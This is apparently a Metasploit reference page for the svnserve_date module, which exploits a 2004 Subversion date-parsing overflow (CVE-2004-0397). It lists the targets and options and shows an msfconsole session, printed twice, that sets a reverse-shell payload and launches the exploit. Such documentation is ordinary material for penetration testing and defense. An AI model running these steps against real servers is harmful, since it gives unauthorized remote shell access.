Subversion Date Svnserve
This is an exploit for the Subversion date parsing overflow. This exploit is for the svnserve daemon (svn:// protocol) and will not work for Subversion over webdav (http[s]://). This exploit should never crash the daemon, and should be safe to do multi-hits. **WARNING** This exploit seems to (not very often, I've only seen it during testing) corrupt the subversion database, so be careful!
Exploit Rank
- Average
Exploit Authors
- spoonm < spoonm [at] no$email.com >
Vulnerability References
- CVE-2004-0397
- OSVDB-6301
- BID-10386
- http://lists.netsys.com/pipermail/full-disclosure/2004-May/021737.html
- MIL-68
Exploit Targets
- 0 - Linux Bruteforce
- 1 - FreeBSD Bruteforce
Exploit Development
Similar Exploit Modules
Exploit Usage Information
$ msfconsole
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/svn/svnserve_date
msf exploit(svnserve_date) > show payloads
msf exploit(svnserve_date) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(svnserve_date) > set LHOST [MY IP ADDRESS]
msf exploit(svnserve_date) > set RHOST [TARGET IP]
msf exploit(svnserve_date) > show targets
msf exploit(svnserve_date) > set TARGET [TARGET ID]
msf exploit(svnserve_date) > exploit
## ### ## ##
## ## #### ###### #### ##### ##### ## #### ######
####### ## ## ## ## ## ## ## ## ## ## ### ##
####### ###### ## ##### #### ## ## ## ## ## ## ##
## # ## ## ## ## ## ## ##### ## ## ## ## ##
## ## #### ### ##### ##### ## #### #### #### ###
##
msf > use exploit/multi/svn/svnserve_date
msf exploit(svnserve_date) > show payloads
msf exploit(svnserve_date) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(svnserve_date) > set LHOST [MY IP ADDRESS]
msf exploit(svnserve_date) > set RHOST [TARGET IP]
msf exploit(svnserve_date) > show targets
msf exploit(svnserve_date) > set TARGET [TARGET ID]
msf exploit(svnserve_date) > exploit
Exploit Module Options
| RHOST | The target address |
| RPORT | The target port (default: 3690) |
| URL | SVN URL (ie svn://host/repos) (default: svn://host/svn/repos) |
| BruteStep | Step size between brute force attempts |
| BruteWait | Delay between brute force attempts |
| CHOST | The local client address |
| CPORT | The local client port |
| ConnectTimeout | Maximum number of seconds to establish a TCP connection |
| ContextInformationFile | The information file that contains context information |
| DisablePayloadHandler | Disable the handler code for the selected payload |
| EnableContextEncoding | Use transient context when encoding payloads |
| IgnoreErrors | Ignore errors |
| Proxies | Use a proxy chain |
| RetLength | Length of rets after payload |
| SSL | Negotiate SSL for outgoing connections |
| SSLVersion | Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) |
| VERBOSE | Enable detailed status messages |
| WORKSPACE | Specify the workspace for this module |
| WfsDelay | Additional delay when waiting for a session |
| TCP::max_send_size | Maxiumum tcp segment size. (0 = disable) |
| TCP::send_delay | Delays inserted before every send. (0 = disable) |
